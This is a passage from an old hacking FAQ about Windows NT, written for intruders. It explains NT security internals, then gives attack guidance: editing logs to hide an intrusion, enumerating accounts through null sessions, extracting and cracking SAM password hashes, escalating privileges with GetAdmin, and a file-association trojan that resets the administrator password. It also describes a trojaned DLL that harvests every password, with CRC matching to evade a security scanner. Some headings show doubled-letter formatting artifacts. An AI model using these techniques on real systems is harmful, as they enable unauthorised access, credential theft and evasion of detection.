hacker. Once the system is accessed by the hacker, the hacker may
activate some technique or exploit a system misconfiguration that
allows greater access. Often a hacker will lower the defenses in
certain areas by slightly altering system configuration files. Perhaps
a trojan program has been installed that will open holes upon command
by the hacker. Some of these techniques will be discussed in detail in
the individual operating system sections of this FAQ.
66..22.. WWhhyy ddoo II ccaarree aabboouutt aauuddiittiinngg,, aaccccoouunnttiinngg,, aanndd llooggggiinngg??
Auditing, accounting, logging -- call it what you will, these are
things used to create permanent or semi-permanent records of events on
a system. Unfortunately these can record your intrusion activities,
sometimes in explicit and evidence-worthy detail. Therefore potential
intruders should not only be aware of what record keeping is available
(either as a regular feature of the system or as add-ons) and have
possible methods for defeating such recordings.
Some types of logging include simple text files with entries showing
logins and logouts, maybe failed logins. Others show what programs
were accessed, which programs were attempted to be run and the request
failed, or keep track of an individual's disk usage. All can reveil
info that can allow an administrator to reconstruct an attack.
66..33.. WWhhaatt aarree ssoommee ddiiffffeerreenntt llooggggiinngg tteecchhnniiqquueess uusseedd bbyy AAddmmiinnss??
Admins generally prefer to use simple logging techniques so as not to
pile onto their current workload. Logs take up space. Large log files
are sometimes very difficult to sift through as sys admins are looking
for problems. These logs are usually stored in directories generally
protected from casual viewing, or at least editing.
66..44.. WWhhyy sshhoouulldd II nnoott jjuusstt ddeelleettee tthhee lloogg ffiilleess??
Typically log files do not disappear. This might lead a curious sys
admin to poke around looking for problems, and the paranoid sys admin
to look for intruders. The logs should be edited if possible, or the
entries made into them made to look as normal as possible.
66..55.. WWhhaatt iiss aa bbuuffffeerr oovveerrffllooww??
A buffer overflow is when a buffer was assigned by a programmer to
hold variable data, and the variable data placed into that buffer is
greater that the size of the initial assignment of the buffer.
Depending on the operating system and exactly what the "extra" data
overflowing the buffer is, this can be used by a hacker to cause
portions of a system to fail, or even execute arbitrary code.
Most buffer overflow exploits center around user-supplied data
exceeding a buffer, and the extra data being executed on the stack to
open up additional access. Buffer overflows exist on all major network
operating systems.
77.. NNTT BBaassiiccss
This section deals with the basics and other background info to help
prepare for NT hacking.
77..11.. WWhhaatt aarree tthhee ccoommppoonneennttss ooff NNTT sseeccuurriittyy??
There are several different components. Each has a role within the
overall NT security model. Because of the amount and complexity of
components in the security model, not only should the individual
components be explored, but how they work together should be explored.
Local Security Authority (LSA)
------------------------------
This is also known as the Security Subsystem. It is the central
component of NT security. It handles local security policy and user
authentication. LSA also handles generating and logging audit
messages.
Security Account Manager (SAM)
------------------------------
SAM handles user and group accounts, and provides user authentication
for LSA.
Security Reference Monitor (SRM)
--------------------------------
SRM enforces access validation and auditing for LSA. It checks user
accounts as the user tries to access various files, directories, etc,
and either allows or denies access. Auditing messages are generated
as a result. The SRM contains a copy of the access validation code to
ensure that resources are protected uniformly throughout the system,
regardless of resource type.
User Interface (UI)
-------------------
An important part of the security model, the UI is mainly all that the
end user sees, and is how most of the administration can be performed.
77..22.. HHooww ddooeess tthhee aauutthheennttiiccaattiioonn ooff aa uusseerr aaccttuuaallllyy wwoorrkk??
First, a user logs on. When this happens, NT creates a token object
that represents that user. Each process the user runs is associated
with this token (or a copy of it). The token-process combination is
refered to as a subject. As subjects access objects such as files and
directories, NT checks the subject's token with the Access Control
List (ACL) of the object and determines whether to allow the access or
not. This may also generate an audit message.
77..33.. WWhhaatt iiss ""ssttaannddaalloonnee"" vvss.. ""wwoorrkkggrroouupp"" vvss.. ""ddoommaaiinn""??
Each NT workstation participates in either a workgroup or a domain.
Most companies will have NT workstations participate in a domain for
management of the resource by the administrator.
A domain is one or more servers running NT server with all of the
servers functioning as a single system. The domain not only contains
servers, but NT workstations, Windows for Workgroups machines, and
even LAN Manager 2.x machines. The user and group database covers ALL
of the resources of a domain.
Domains can be linked together via trusted domains. The advantage of
trusted domains is that a user only needs one user account and
password to get to resources across multiple domains, and
administrators can centrally manage the resources.
A workgroup is simply a grouping of workstations that do not belong to
a domain. A standalone NT workstation is a special case workgroup.
User and group accounts are handled differently between domain and
workgroup situations. User accounts can be defined on a local or
domain level. A local user account can only logon to that local
computer, while a domain account can logon from any workstation in the
domain.
Global group accounts are defined at a domain level. A global group
account is an easy way to grant access to a subset of users in a
domain to, say, a single directory or file located on a particular
server within the domain. Local group accounts are defined on each
computer. A local group account can have global group accounts and
user accounts as members.
In a domain, the user and group database is "shared" by the servers.
NT workstations in the domain DO NOT have a copy of the user and group
database, but can access the database. In a workgroup, each computer
in the workgroup has its own database, and does not share this
information.
77..44.. WWhhaatt iiss aa SSeerrvviiccee PPaacckk??
Microsoft maintains a large online database of fixes for operating
systems and applications. These fixes are refered to as Service Packs.
NT has its share, and typically the latest Service Pack has the latest
fixes, including security patches.
Installing a Service Pack is NOT something to be taken lightly -- to
turn on or off some features involves some Registry editing.
Installation can in some circumstances disable or cause conflicts.
Often after a new product has been loaded, even a Microsoft product,
you must reinstall the Service Pack. For this reason, LAN
administrators often neglect the timely installation of Service Packs.
For the hacker, this is a decided advantage -- especially if the site
has numerous NT servers and workstations in need of patching. One day
maybe Microsoft will make Service Pack installation a little less
painless, but until then you will find MANY locations will be either
under-patched or not patched at all.
Typically Service Packs are fairly well tested, although this is no
guarantee everything is "fixed". Admins should not place 100% of their
faith in them, but then hackers should not underestimate their value
in closing holes.
77..55.. WWhhaatt iiss aa HHoott FFiixx??
A Hot Fix is what is released between Service Pack releases. A Hot Fix
is generally released to address a specific problem or condition. Some
Hot Fixes may have a prerequisite of a certain Service Pack, and are
typically included in the next Service Pack.
Once again, some of the Hot Fixes are downright dangerous to monkey
around with, and many LAN folks will simply neglect installation
especially at large NT shops. And once again this is good news for the
hacker.
Hot Fixes are not as well tested as the Service Packs are -- often
they are released after headline-grabbing security flaws are
announced, so they are often rushed to press.
77..66.. WWhheerree aarree SSeerrvviiccee PPaacckkss aanndd HHoott FFiixxeess??
The main location for Service Packs can be found at
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz
where xxx is the country, yyy is the NT version, and zzz is the
Service Pack. For example, this is the address for the USA version of
Service Pack 3 for NT 4:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/ussp3
The main location for Hot Fixes can be found at
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz
where xxx is the country, yyy is the NT version, and zzz is the Hot
Fix directory. For example, this is the address for the USA versions
of Hot Fixes for NT 4 if Service Pack 3 is already installed:
ftp://ftp.microsoft.com/bussys/winnt/winnt-
public/fixes/usa/nt40/hotfixes-postSP3
77..77.. WWhhaatt''ss wwiitthh ""CC22 cceerrttiiffiiccaattiioonn""??
I'm not going to get into a bunch of detail on this. There are far
better places to go for the info, but I will state this -- running the
c2config utility to "lock down" your system will not protect you if
you want to run third party software, use the floppy drive, or connect
to the network. It is simply a marketing tactic used by Microsoft. The
C2 tested configuration had no network access and no floppy drive. Who
wants to use that?
And keep in mind that C2 certification does not consider a number of
common sense items such as a hard-to-guess password. I can see some
value in running the c2config utility and "opening up" the system as
needed to make it useable, but this is a lot of work and beyond the
scope of what I'm discussing here.
77..88.. AArree tthheerree aarree iinntteerreessttiinngg ddeeffaauulltt ggrroouuppss ttoo bbee aawwaarree ooff??
There are a number of built-in local groups can do various functions,
some which would be better off being left to the Administrator.
Administrators can do everything, but the following groups' members
can do a few extra items (I only verified this on 4.0):
+o Server Operators: do a shutdown, even remotely; reset the system
time; perform backups and restores.
+o Backup Operators: do a shutdown; perform backups and restores.
+o Account Operators: do a shutdown.
+o Print Operators: do a shutdown.
Also members of these groups can login at the console. As you explore
the NT sections of this FAQ and possibly someone else's server,
remember these permissions. Gaining a Server Operator account and
placing a trojan that activates after a remote shutdown could get you
Administrator.
77..99.. WWhhaatt aarree tthhee ddeeffaauulltt ddiirreeccttoorryy ppeerrmmiissssiioonnss??
Like the previous question, I only verified these on 4.0. And
remember, Administrators are deities. Otherwise, if it isn't here, the
group doesn't have access.
\(root), \SYSTEM32, \WIN32APP - Server Operators and Everyone can read
and execute files, display permissions on files, and do some changing
on file attributes.
\SYSTEM32\CONFIG - Everyone can list filenames in this directory.
\SYSTEM32\DRIVERS, \SYSTEM\REPL - Server Operators have full access,
Everyone has read access.
\SYSTEM32\SPOOL - Server Operators and Print Operator have full
access, Everyone has read access.
\SYSTEM32\REPL\EXPORT - Server Operators can read and execute files,
display permissions on files, and do some changing on file attributes.
Replicator has read access.
\SYSTEM32\REPL\IMPORT - Server Operators and Replicator can read and
execute files, display permissions on files, and do some changing on
file attributes. Everyone has read access.
\USERS - Account Operators can read, write, delete, and execute.
Everyone can list filenames in this directory.
\USERS\DEFAULT - Everyone has read, write, and execute.
77..1100.. AArree tthheerree aannyy ssppeecciiaall rreessttrriiccttiioonnss ssuurrrroouunnddiinngg tthhee AAddmmiinniissttrraa--
ttiivvee TToooollss ggrroouupp iinn PPrreesseennttaattiioonn MMaannaaggeerr??
The following tools have the following default group restrictions in
4.0:
Disk Administrator - Must be a member of the Administrators group.
Event Log - Anyone can run Event Viewer, but only members of the
Administrators group can clear logs or view the Security Log.
Backup - Anyone can backup a file they have normal access to, but only
the Administrators and Backup Operators can over override normal
access.
User Manager - Users and Power Users can create and manage local
groups.
User Manager for Domains - Users and Power Users can create and manage
local groups if logged on at the server console, otherwise it is
restricted to Administrators and Account Operators.
Server Manager - Only Administrators, Domain Admins, and Server
Operators can use this on domains they have an account on. Account
Operators can only add new accounts to the domain. Some features in
Server Manager can only be used by the Administrators and Domain
Admins.
77..1111.. WWhhaatt iiss tthhee RReeggiissttrryy??
The Registry is the central core registrar for Windows NT. Each NT
workstation or server has its own Registry, and each one contains info
on the hardware and software of the computer it resides on. For
example, comm port definitions, Ethernet card settings, desktop
setting and profiles, and what a particular user can and cannot do are
stored in the Registry. Remember those ugly system INI files in
Windows 3.1? Well, they are all included with even more fun stuff into
one big database called the Registry in NT.
Of interest to hackers is the fact that all access control and
assorted parameters are located in the Registry. While I'm tempted to
discuss just that portion of the Registry, I'll briefly cover
everything for completeness but put the fun stuff up front.
The Registry contains thousands of individual items of data, and are
grouped together into "keys" or some type of optional value. These
keys are grouped together into subtrees -- placing like keys together
and making copies of others into separate trees for more convenient
system access.
The Registry is divided into four separate subtrees. These subtrees
are called HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE,
and HKEY_USERS. We'll go through them from most important to the
hacker to least important to the hacker.
First and formost is the HKEY_LOCAL_MACHINE subtree. It contains five
different keys. These keys are as follows:
+o SAM and SECURITY - These keys contain the info such as user rights,
user and group info for the domain (or workgroup if there is no
domain), and passwords. In the NT hacker game of capture the flag,
this is the flag. Bag this and all bets are off.
The keys are binary data only (for security reasons) and are
typically not accessible unless you are an Administrator or in the
Administrators group. It is easier to copy the data and play with
it offline than to work on directly. This is discussed in a little
more detail in the ``NT Password'' section.
+o HARDWARE - this is a storage database of throw-away data that
describes the hardware components of the computer. Device drivers
and applications build this database during boot and update it
during runtime (although most of the database is updated during the
boot process). When the computer is rebooted, the data is built
again from scratch. It is not recommended to directly edit this
particular database unless you can read hex easily.
There are three subkeys under HARDWARE, these are the Description
key, the DeviceMap key, and the ResourceMap key. The Description
key has describes each hardware resource, the DeviceMap key has
data in it specific to individual groups of drivers, and the
ResourceMap key tells which driver goes with which resource.
+o SYSTEM - This key contains basic operating stuff like what happens
at startup, what device drivers are loaded, what services are in
use, etc. These are split into ControlSets which have unique system
configurations (some bootable, some not), with each ControlSet
containing service data and OS components for that ControlSet. Ever
had to boot from the "Last Known Good" configuration because
something got hosed? That is a ControlSet stored here.
+o SOFTWARE - This key has info on software loaded locally. File
associations, OLE info, and some miscellaneous configuration data
is located here.
The second most important main key is HKEY_USERS. It contains a subkey
for each local user who accesses the system, either locally or
remotely. If the server is a part of a domain and logs in across the
network, their subkey is not stored here, but on a Domain Controller.
Things such as Desktop settings and user profiles are stored here.
The third and fourth main keys, HKEY_CURRENT_USER and
HKEY_CLASSES_ROOT, contain copies of portions of HKEY_USERS and
HKEY_LOCAL_MACHINE respectively. HKEY_CURRENT_USER contains exactly
would you would expect, a copy of the subkey from HKEY_USERS of the
currently logged in user. HKEY_CLASSES_ROOT contains a part of
HKEY_LOCAL_MACHINE, specifically from the SOFTWARE subkey. File
associations, OLE configuration and dependency information.
77..1122.. WWhhaatt aarree hhiivveess??
Hives are the major subdivisions of all of these subtrees, keys,
subkeys, and values that make up the Registry. They contains "related"
data. Look, I know what you might be thinking, but this is just how
Microsoft divided things up -- I'm just relaying the info, even I
don't know exactly what all the advantages to this setup are. ;-)
All hives are stored in %systemroot%\SYSTEM32\CONFIG. The major hives
and their files are as follows:
Hive File Backup File
--------------------------- ------ ------------
HKEY_LOCAL_MACHINE\SOFTWARE SOFTWARE SOFTWARE.LOG
HKEY_LOCAL_MACHINE\SECURITY SECURITY SECURITY.LOG
HKEY_LOCAL_MACHINE\SYSTEM SYSTEM SYSTEM.LOG
HKEY_LOCAL_MACHINE\SAM SAM SAM.LOG
HKEY_CURRENT_USER USERxxx USERxxx.LOG
ADMINxxx ADMINxxx.LOG
HKEY_USERS\.DEFAULT DEFAULT DEFAULT.LOG
Hackers should look for the SAM file, with the SAM.LOG file as a
secondary target. This contains the password info.
77..1133.. WWhhyy iiss tthhee RReeggiissttrryy lliikkee tthhiiss aanndd wwhhyy ddoo II ccaarree??
Who the hell knows why it's this way? ;-)
The main reason is a step towards central administration and combining
all that crap from SYSTEM.INI, WIN.INI, and other "legacy" Windows 3.x
config stuff into one database. Then nice and neat individual GUI
applications could be used to manipulate the data contained inside.
And with the idea of a "domain" there are some "centralized"
functionalities that are a little more convenient.
Is it better than Windows 3.x? This is debatable, although in my
personal opinion I'd say yes. Were the design functions met? Probably
not. While the Registry tries to be all things to all subcomponents of
a domain, it does tend to smell like there were too many cooks in
Microsoft's kitchen and simply not enough spoons. Some functions seem
to be well suited for the Registry, some not. It is certainly not
"portable" like Novell's NDS, that is you will probably never find the
Registry running on a Unix system, whereas Novell's NDS is a much
simpler design and is quite portable. Both schemes have their place --
NDS does not contain or manage OS info at the Desktop level and the
Registry does.
Who wins? My guess is the people currently offering training classes
in any modern OS are probably loving this because it is so complex,
therefore it is guaranteed income. And hackers also win, because this
is a complex environment where one wrong parameter setting or one Hot
Fix not loaded could mean free and easy access.
My main advice to hackers is to play around with the Registry on home
systems before the attack, because as you go further and further into
an NT environment, you stand more chances of screwing things up, which
is an easy way to make yourself known.
88.. NNTT AAccccoouunnttss
The following section deals with Accounts on NT systems.
88..11.. WWhhaatt aarree ccoommmmoonn aaccccoouunnttss aanndd ppaasssswwoorrddss iinn NNTT??
There are two accounts that come with NT out of the box --
administrator and guest. In a network environment, I have run into
local administrator access unpassworded, since the Sys Admin thought
that global accounts ruled over local ones. Therefore it is possible
to gain initial access to an NT box by using its local administrator
account with no password.
Guest is another common unpassworded account, although recent
shipments of NT disable the account by default. While it is possible
that some companies will delete the guest account, some applications
require it. If Microsoft Internet Studio needs to access data on
another system, it will use guest for that remote access.
NetFRAME Systems Engineers use "aaa" as the default password for new
installs.
88..22.. WWhhaatt iiff tthhee SSyyss AAddmmiinn hhaass rreennaammeedd tthhee AAddmmiinniissttrraattoorr aaccccoouunntt??
It is possible that a Sys Admin will create a new account, give that
account the same access as the god account, and then remove part of
the access to the former god account. The idea here is that if you
don't know the real god account name, you can't get in with god
priviledges.
As one might expect, this could break certain programs or functions.
For example, what makes root the Unix god is the fact that the UID
(User ID number) and GID (Group ID number) are both zero. Any other
account set this way is god, and more than one can exist on a single
system. But some programs and scripts may not look to see if the user
running them is UID zero, they might possibly look to see if the
user's name is root. Since often Sys Admins have a stack of stuff to
do anyway, monkeying around with the root account is usually not done.
If you can gain access to even a limited access account like a guest
account, a simple grep "0:0" /etc/passwd should let you see whose god
equiv or not.
With NT typing "NBTSTAT -A targetipaddress" will give you the new
Administrator account, assuming the god account is logged in. A bit of
social engineering could get them to log in as well. Nbtstat will also
give you other useful information such as services running, the NT
domain name, the nodename, and the ethernet hardware address.
Also see section From The Network which discusses a bug that allows
you to get the new Administrator account name.
Renaming or assigning the same rights to a different user name than
Admin is more common with Netware than with NT, and I know of NO
program that checks to see what the user name is (at least on NT). The
paradigm is to check if the rights allow the action, not to see who is
really running it.
88..33.. HHooww ccaann II ffiigguurree oouutt vvaalliidd aaccccoouunntt nnaammeess ffoorr NNTT??
If you are at a server and it is a domain controller (or you have
simply hooked one up), try these steps to get a list of accounts on
the target machine:
1. From the USER MANAGER, create a trusting relationship with the
target.
2. Enter whatever when asked for a password. Don't fret when it
doesn't work. The target is now on your trusting list.
3. Launch NT Explorer and right click on any folder.
4. Select SHARING.
5. From the SHARED window, select ADD.
6. From the ADD menu, select your target NT server.
7. You will now see the entire group listing of the target.
8. Select SHOW USERS and you will see the entire user listing,
including full names and descriptions.
This gives you a list of user accounts to target for individual
attack. By studying the group memberships, you can even make decisions
about who will have more privileges than others.
88..44.. WWhhaatt ccaann nnuullll sseessssiioonnss ttoo aann NNTT mmaacchhiinnee tteellll mmee??
By establishing a null session from your NT attacking machine to the
target server, there are a few different things you can do to get
account info:
net use \\server_name\ipc$""/user:""
if you see "The command completed successfully" then you are
connected. Using local.exe and global.exe from the NT Resource Kit
shold get you some usefull info. Here are two examples.
Get the local administrators on the target:
local anmistrators \\server_name
Get the members of the group Domain Admins:
global "domain admins" \\server_name
For even more information, rum DumpACL and go for the user and group
reports. This should give you every account on the box, plus a host of
other useful info, such as who logged in last, if a password is
required, who is in what group, etc. From this you can target specific
accounts to attempt access.
99.. NNTT PPaasssswwoorrddss
This section deals with NT passwords.
99..11.. HHooww ddoo II aacccceessss tthhee ppaasssswwoorrdd ffiillee iinn NNTT??
The location of what you need is in \\WINNT\SYSTEM32\CONFIG\SAM which
is the location of the security database. This is usually world
readable by default, but locked since it is in use by system
compotents. It is possible that there are SAM.SAV files which could be
readable. If so, these could be obtained for the purpose of getting
password info.
During the installation of NT a copy of the password database is put
in \\WINNT\REPAIR. Since it was just installed, only the Administrator
and Guest accounts will be there, but maybe Administrator is enough --
especially if the Administrator password is not changed after
installation.
If the Sys Admin updates their repair disks, or you get a hold of a
copy of the repair disks, you can get password database. The file is
SAM._ in the ERD directory.
If you are insane, you can go poking around in the SAM secret keys.
First, schedule service to logon as LocalSystem and allow it to
interact with the desktop, and then schedule an interactive regedt32
session. The regedt32 session will be running as LocalSystem and you
can play around in the secret keys. However, if you change some stuff
this might be very bad. You have to be Administrator to do this,
though, so for the hacker you need to walk up to the machine while the
Administrator is logged in and distract them by telling them they're
giving away Microsoft t-shirts in the lobby (this doesn't always work
;-). Of course you can simply use a couple of different utilities for
dumping the password hashes out, like PWDUMP or even running
L0phtcrack (which has pwdump code built in) if you are in as
Administrator.
99..22.. WWhhaatt ddoo II ddoo wwiitthh aa ccooppyy ooff SSAAMM??
You get passwords. First use a copy of SAMDUMP.EXE to extract the user
info out of it. You do not need to import this data into the Registry
of your home machine to play with it. You can simply load it up into
one of the many applications for cracking passwords, such as
L0phtCrack. See section 3 for more info on NT passwords and cracking
them.
99..33.. WWhhaatt''ss tthhee ffuullll ssttoorryy wwiitthh NNTT ppaasssswwoorrddss??
Two one-way hashes are stored on the server -- a Lan Manager hash, and
a Windows NT hash. Lan Manager uses a 14 byte password. If the
password is less than 14 bytes, it is concantenated with 0's. It is
converted to upper case, and split into 7 byte halves. An 8 byte odd
parity DES key is constructed from each 7 byte half. Each 8 byte DES
key is encrypted with a "magic number" (0x4B47532140232425 encrypted
with a key of all 1's). The results of the magic number encryption are
concantenated into a 16 byte one way hash value. This value is the Lan
Manager one-way hash of the password. A regular Windows NT password is
derived by converting the user's password to Unicode, and using MD4 to
get a 16 byte value. This value is the NT one-way hash of the
password.
The reason there are two hashes is because the Lan Manager hash is for
legacy support. In an all-NT environment it would be desirable to turn
off Lan Man passwords. Since Lan Man uses a weakened DES key and
converts all alpha characters to uppercase, it is easier to crack. The
regular NT method uses a stronger algorithm and allows mixed-cased
passwords.
So to crack NT passwords, the username and the corresponding one way
hashes (Lan Man and NT) need to be extracted from the password
database. Instead of going out and writing some code to do this,
simply get a copy of Jeremy Allison's PWDUMP, which goes through SAM
and gets the information for you. As previously stated, PWDUMP does
require that you are an Administrator to get stuff out of the
registry.
Since Microsoft does not ``salt'' during hash generation, once a
potential password has generated a hash it can be checked against ALL
accounts. All current NT crackers take advantage of this. Several
freeware and shareware products are available on the Internet. They
include:
Cracker Author(s) Compiles on... Notes
---------------- ------------------- --------------- ----------------------
c50a-nt-0.20.tgz Bob Tinsley Unix Dictionary cracker, a
port of Alec Muffett's
Crack 5.0 for Unix.
lc201exe.zip Mudge and Weld Pond Unix, includes Best of the bunch, can
from the L0pht GUI NT version do brute force very
and DOS version quickly, also can use
a dictionary.
NTCrack.tar.gz Jonathan Wilkins Unix, includes Dictionary cracker, on
NT version it's second revision.
99..44.. HHooww ddooeess bbrruuttee ffoorrccee ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNTT??
As previously pointed out, the Lan Manager password concantenated to
14 bytes, and split in half. The halves can be worked on individually.
If the password was originally only 7 characters or less, that second
half is always 0xAAD3B435B51404EE. To further ease brute force
cracking, since a substantial reduction in bits occurs during the
deriving of the 8 byte DES key from the 7 byte key, less keys have to
be tried. Also since the password is converted to upper case before
one way encrypting it, Lan Manager password cracking does not have to
take into consideration the possibility of lower case letters.
L0phtcrack incorporates techniques to exploit all of these
possibilities.
By cracking the Lan Man password first, the NT password can be brute
forced to determine the proper case of each alpha character.
L0phtcrack 2.01, the latest version as of this writing, is lightning
fast.
99..55.. HHooww ddooeess ddiiccttiioonnaarryy ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNTT??
All three of the password crackers mentioned can do dictionary
attacks. Only L0phtcrack does not use rules to permutate the wordlist.
It is assumed you have pre-treated the wordlist with L0phtcrack, and
quite frankly L0phtcrack is blindingly fast in a dictionary crack
anyway.
99..66.. II lloosstt tthhee NNTT AAddmmiinniissttrraattoorr ppaasssswwoorrdd.. WWhhaatt ddoo II ddoo??
Use the Offline NT Password Editor by Petter Nordahl-Hagen. You need
to download Petter's code to your Linux machine (you DO have one of
those, don't you?) and compile it using a libDES and MD4 library. Now
mount the NT drive read/write and follow the instructions in the
readme. The instructions are pretty easy to follow, especially if you
know enough to get to the point to use them ;-)
Actually, to make things easier, Petter has built a bootdisk image
that steps you through the entire thing. I'll be the first to admit
that Petter's code is as dangerous as hell, but it does work and I had
no problems. YMMV.
Consider using GetAdmin.exe (in the NT Attack Section) and go from
there if you are too paranoid or fearful of booting up Linux to get to
an NT machine.
99..77.. HHooww ddooeess aa SSyyss AAddmmiinn eennffoorrccee bbeetttteerr ppaasssswwoorrddss??
There are several freeware utilities that allow for password changing
with rules enforced. These range from the simple passwd utility by
Alex Frink to Microsoft's own utilities. The NT Server 4.0 Resource
Kit has a utility called Passprop that enforces random passwords. Also
on Service Pack 2 is a DLL called PASSFILT that will does basically
the same thing.
99..88.. CCaann aann SSyyss AAddmmiinn pprreevveenntt//ssttoopp SSAAMM eexxttrraaccttiioonn??
As long as you can get in as Administrator, you are basically
vulnerable. Microsoft has gradually increased its security for the SAM
files and the hashes, but as things like L0phtCrack are quickly
improved and Microsoft insists on backward compatibility with LAN
Manager-style logins, things will be vulnerable. In fact, the latest
L0phtCrack can actually sniff the network, store the data exchanged
between client and server, and crack the hashes traced. So for you
sys admins out there, keep absolutely current of Service Packs and Hot
Fixes. For you hackers out there, well, it's a big bright world ;-)
99..99.. HHooww iiss ppaasssswwoorrdd cchhaannggiinngg rreellaatteedd ttoo ""llaasstt llooggiinn ttiimmee""??
Let's say an admin is checking the last time certain users have logged
in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time
it will NOT be.
Most users do not login directly to the Primary Domain Controller
(PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT
contain readonly versions of SAM, they contain read-write versions. To
keep the already ungodly amount of network traffic down, BDCs do not
tell the PDC that they have an update of the last login time until a
password change has been done. And the NET USER /DOMAIN command checks
the PDC, so last login time returned from this command could be wildly
off (it could even show NEVER).
As a hacker, if you happen to know that password aging is not
enforced, then you can bet that last login times will probably not be
very accurate.
1100.. NNTT CCoonnssoollee AAttttaacckkss
This section deals with attacking at the NT Console.
1100..11.. WWhhaatt ddooeess ddiirreecctt ccoonnssoollee aacccceessss ffoorr NNTT ggeett mmee??
First off, a number of ``NT client attacks'' may not work if your
target system does not allow logins except at the console. Any brute
force attack will obviously work much quicker if you are not going
across the network.
1100..22.. WWhhaatt aabboouutt NNTT''ss ffiillee ssyysstteemm??
Obviously gaining access to the file system from the console is much
easier than across a network, especially if the Sys Admin is trying to
keep you out.
Try booting up the system from an MS-DOS diskette, and running
NTFSDOS.EXE to access the NTFS file system. Currently this software is
read only, so it is only good for getting copies of existing data.
Linux is another OS that will read an NTFS file system, but "simply
loading Linux" on a "spare partition" is usually impractical, and
hardly simple if you are not familiar with it. See the question
regarding recovering a ``lost NT password'' that uses Linux in the
recovery process. I mean, if you log in as Administrator then you
definitely have access to the file system ;-).
1100..33.. WWhhaatt iiss NNeettmmoonn aanndd wwhhyy ddoo II ccaarree??
NetMon is Microsoft's Network Monitor. It is a sniffer that runs under
NT, and being a sniffer if you have to ask why you care, well, never
mind ;-)
NetMon is protected by a password scheme on version 3.51 that has
nothing to do with regular NT security. In Phrack 48 file 15, AON and
daemon9 have not only cracked the encryption scheme, they have written
exploits for it as well. Check the resources section for the location
of the exploit code (it includes full source including a Unix version
in case you do not have an NT compiler).
By the way, compared to other commercial sniffers, this early version
of NetMon sucks. It would only look at traffic to and from the
machine you are running it on. However, newer versions of NetMon
supposedly do actual promiscuous sniffing and is a more useful tool. I
have not seen this new NetMon but others report good things about it.
1111.. NNTT CClliieenntt AAttttaacckkss
This section deals with attacking NT remotely.
1111..11.. WWhhaatt iiss GGeettAAddmmiinn..eexxee aanndd CCrraasshh44..eexxee??
GetAdmin.exe is a program written by Konstantin Sobolev. It exploits a
subfunction in NtAddAtom that does not check the address of the
output. By altering where the output can be written to, GetAdmin adds
a user to the Administrators group. It works on NT 4.0.
The easiest way to use it is to simply copy it to \TEMP (along with
its DLL, GASYS.DLL) and run it like so: GETADMIN GUEST (or whatever
account you wish to add).
This will add Guest to the Administrators group.
GetAdmin will add domain accounts on a primary domain controller and
even other domain accounts. Since it is a command line tool, it will
work across a telnet session if you've uploaded it to the target.
There is a post SP3 Hot Fix available from Microsoft that defeats this
if loaded.
Crash4.exe will allow GetAdmin to work on SP3 patched machines. Simply
run Crash4 and followed by GetAdmin as previously mentioned. Crash4
rearranges a few things on the stack to allow GetAdmin to work.
1111..22.. SShhoouulldd II eevveenn ttrryy ffoorr llooccaall aaddmmiinniissttrraattoorr aacccceessss??
Oh yes. A lot of NT administrators do not understand that when an NT
box joins a domain, if they left that administrator password blank, it
doesn't get "filled in" or "overwritten". Belonging to a domain does
NOT turn off local users.
If you gain local administrator, try some of these tricks (these will
work with the default settings after installation on the target):
+o NBTSTAT -A x.x.x.x (plug in the IP address of the box you're after)
+o Add the machine name this returns to your LMHOSTS file.
+o If you are not on an NT 4.x machine, type NBTSTAT -R to refresh the
NetBios names.
+o Try NET VIEW \\machinename to see the shares
+o Try DIR \\machinename\share to list shares if open
+o Try NET VIEW \\ipaddress or NET VIEW \\fully.qualified.name.com,
which should get you the user names under NT 4.0.
1111..33.. II hhaavvee gguueesstt rreemmoottee aacccceessss.. HHooww ccaann II ggeett aaddmmiinniissttrraattoorr aacccceessss??
The easiest way is to run GetAdmin as mentioned above, but here is an
older tricks for basic NT 3.51, which as some has some stuff
read/writeable by default. You could edit the association between an
application and the data file extension using regedt32. First off, you
should write a Win32 app that does nothing but the following -
net user administrator biteme /y
notepad %1 %2 %3 %4 %5
In a share you have read/write access to, upload it. Now change the
association between .txt files and notepad to point to the location of
the uploaded file, like \\ThisWorkstation\RWShare\badboy.exe.
Now wait for the administrator to launch a text file by double
clicking on it, and the password becomes "biteme".
Of course, if the Sys Admin is smart they will have removed write
permission from Everyone for HKEY_CLASSES_ROOT, only giving out full
access to creator\owner.
1111..44.. WWhhaatt aabboouutt %%ssyysstteemmrroooott%%tteemm3322 bbeeiinngg wwrriitteeaabbllee??
Well, this can be exploited on NT 4.0 by placing a trojaned
FPNWCLNT.DLL in that directory. This file typically exists in a mixed
NT/Netware environment. First compile the exploit code written by
Jeremy Allison (jra@cygnus.com) and call the resulting file
FPNWCLNT.DLL. A pointer to the exploit code is in the Resources
section. Now wait for the user names and passwords to get written to a
file in \temp.
If you load this on a Primary Domain Controller, you'll get
EVERYBODY'S password. You have to reboot the server after placing the
trojan in %systemroot%\system32.
ISS (www.iss.net) has a security scanner for NT which will detect the
trojan DLL, so you may wish to consider adding in extra junk to the
above code to make the size of the compiled DLL match what the
original was, and using a CRC matcher program (several exist on the
Internet) to make the CRC between the trojan and the real version
match. This will prevent the current shipping version of ISS's NT
scanner from picking up the trojan.
It should be noted that by default the group Everyone has default
permissions of "Change" in %systemroot\system32, so any DLL that is
not in use by the system could be replaced with a trojan DLL that does
something else.
1111..55.. WWhhaatt iiff tthhee ppeerrmmiissssiioonnss aarree rreessttrriicctteedd oonn tthhee sseerrvveerr??
By default the NT administrator account does not have a lockout
feature like normal users accounts, to prevent a denial-of-service
attack on the administrator account. Since failed logins are not
logged by default, you could possibly gain administrator access by
sheer brute force.
If the Sys Admin runs passprop.exe they can turn on the lockout
feature of Administrator.
1111..66.. WWhhaatt eexxaaccttllyy ddooeess tthhee NNeettBBiiooss AAuuddiittiinngg TTooooll ddoo??
Developed by Secure Networks Inc., it comes in pre-compiled Win32
binary form as well as the complete source code. It is the "SATAN" of
NetBios based systems.
Here is a quote from Secure Networks Inc about the product -
